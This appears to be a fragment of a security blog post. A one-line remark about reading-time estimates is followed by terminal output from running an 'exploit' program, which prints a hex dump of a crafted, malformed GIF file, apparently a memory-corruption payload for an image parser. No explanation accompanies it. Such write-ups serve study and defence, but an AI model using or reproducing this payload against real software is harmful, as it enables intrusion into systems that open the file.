A simple (number_of_words)/(200WPM) isn't a great metric when words from code snippets are also counted.
notroot@osboxes:~/Desktop/gif$ ./exploit buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0 C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40 C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A 34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B